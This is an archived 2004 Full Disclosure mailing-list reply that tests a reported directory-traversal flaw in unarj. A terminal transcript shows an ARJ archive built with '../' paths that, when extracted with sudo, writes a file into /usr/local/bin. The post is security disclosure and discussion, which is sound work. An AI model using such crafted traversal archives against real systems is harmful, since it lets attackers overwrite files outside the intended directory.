Full Disclosure mailing list archives

Re: unarj dir-transversal bug (../../../..)


From: Chris Umphress <umphress () gmail com>
Date: Mon, 11 Oct 2004 12:50:20 -0700


http://www.google.com/search?q=%22directory+traversal%22&meta=

doubles

I know what a directory traversal is. I did a little test run of this
"bug." For sanitary reasons, I did not install arj when I compiled it.
It was merely moved to ~/test. Here is what I've done to test what you
are saying:

---------------<snip>----------------
<window #1>
  root@chris:/usr/local/bin# touch test.txt
  root@chris:/usr/local/bin# chown root.root test.txt
<window #2>
  chris@chris:~/test$ arj a test.arj ../../../usr/local/bin/test.txt
  ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia. [11 Oct 2004]
  
  Creating archive  : test.arj
  Adding    ../../../usr/local/bin/test.txt  100.0%
       1 file(s)
<window #1>
  root@chris:/usr/local/bin# rm -rf test.txt
<window #2>
  chris@chris:~/test$ unarj x test.arj
  UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung
  
  Processing archive: test.arj
  Archive date      : 2012-11-10 27:44:04
  Can't open ../../usr/local/bin/test.txt
      0 file(s)

  Found     1 error(s)!
  chris@chris:~/test$ cd ..
  chris@chris:~$ unarj x test/test.arj
  UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung
  
  Processing archive: test/test.arj
  Archive date      : 2012-11-10 27:44:04
  Can't open ../../usr/local/bin/test.txt
      0 file(s)

  Found     1 error(s)!
  chris@chris:~$ sudo unarj x test/test.arj
  UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung
  
  Processing archive: test/test.arj
  Archive date      : 2012-11-10 27:44:04
  Extracting ../../usr/local/bin/test.txt  CRC OK
      1 file(s)
<window #1>
  root@chris:/usr/local/bin# ls -l test.txt
  -rw-r--r--  1 root root 13 2012-11-11 02:42 test.txt
--------------------------------------------

Apart from it removing one "../" from the filename I gave it, it
worked exactly as I expected.

-- Chris

-- 
Chris Umphres <http://daga.dyndns.org/>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: